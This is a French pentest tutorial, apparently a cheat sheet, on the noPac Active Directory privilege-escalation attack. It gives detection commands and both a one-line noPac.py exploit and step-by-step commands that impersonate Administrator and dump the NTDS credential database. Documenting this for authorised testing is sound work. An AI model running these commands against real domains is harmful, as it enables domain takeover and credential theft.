NoPAC

NoPAC est une vulnérabilités basée sur deux CVE sorties en Novembre 2021 :

  • CVE-2021-42278 : possible de renommer un compte machine sans le $
  • CVE-2021-42287 : lors d’une demande de ticket de service, l’utilisateur présente un TGT. Sur ce dernier, si le nom du demandeur n’existe pas dnas la base NTDS, le KDC va automatiquement rechercher la correspondance la plus proche (par exemple avec un $ à la fin).

Pré-requis

  • Posséder un compte utilisateur du domaine
  • Que le DC soit dans une version vulnérable (jusqu’à Windows Server 2019)
  • Que la valeur MachineAccountQuota soit au moins à 1 (par défaut c’est à 10)

Détection

Pour détecter si un contrôleur de domaine est vulnérable :

nxc smb $DC_IP -u $USERNAME -p $PASSWORD -M nopac

Pour identifier la valeur du MachineAccountQuota :

nxc ldap $DC_IP -u $USERNAME -p $PASSWORD -M maq

Exploitation

Manière rapide

Le super script noPac.py de Ridter fait le café :

python3 noPac.py $DOMAIN/$USERNAME:$PASSWORD -dc-ip $DC_IP -dc-host $DC_HOST -shell --impersonate Administrator -use-ldap

Manière pédagogique

Devant un client, parfait on aime bien pouvoir expliquer les différentes étapes d’une exploitations qu’on vient de réaliser.

Tout d’abord, créer un compte machine :

# Si on travaille avec Exegol on peut utiliser leur script addcomputer.py
python3 addcomputer.py -computer-name $COMPUTER_NAME -computer-pass $COMPUTER_PASS -dc-host $DC_HOST -dc-ip $DC_IP $DOMAIN/$USERNAME:$PASSWORD

Vider les SPN qui s’ajoutent par défaut sur ce compte nouvellement créé :

python3 addspn.py --clear -t $COMPUTER_NAME -u $DOMAIN\$USERNAME -p $PASSWORD ldap://$DC_IP

Renommer le compte machine comme le DC mais sans le $ :

python3 renameMachine.py -current-name $COMPUTER_NAME -new-name $DC_NAME -dc-ip $DC_IP $DOMAIN/$USERNAME:$PASSWORD

Obtenir un TGT :

getTGT.py -dc-ip $DC_IP $DOMAIN/$DC_NAME:$PASSWORD

Réinitialiser ensuite le nom du compte créé

python3 renameMachine.py -current-name $DC_NAME -new-name $NEW_NAME -dc-ip $DC_IP $DOMAIN/$USERNAME:$PASSWORD

Obtenir un ST avec S4U2Self en présentant le TGT

getST.py -self -impersonate 'Administrator' -altservice "cifs/$DOMAIN" -dc-ip $DC_IP $DOMAIN/$DC_NAME -k -no-pass

Et hop DCSync !

export KRB5CCNAME='DomainAdmin.ccache'
nxc smb $DC_IP --use-kcache -x -whoami
nxc smb $DC_IP --use-kcache --ntds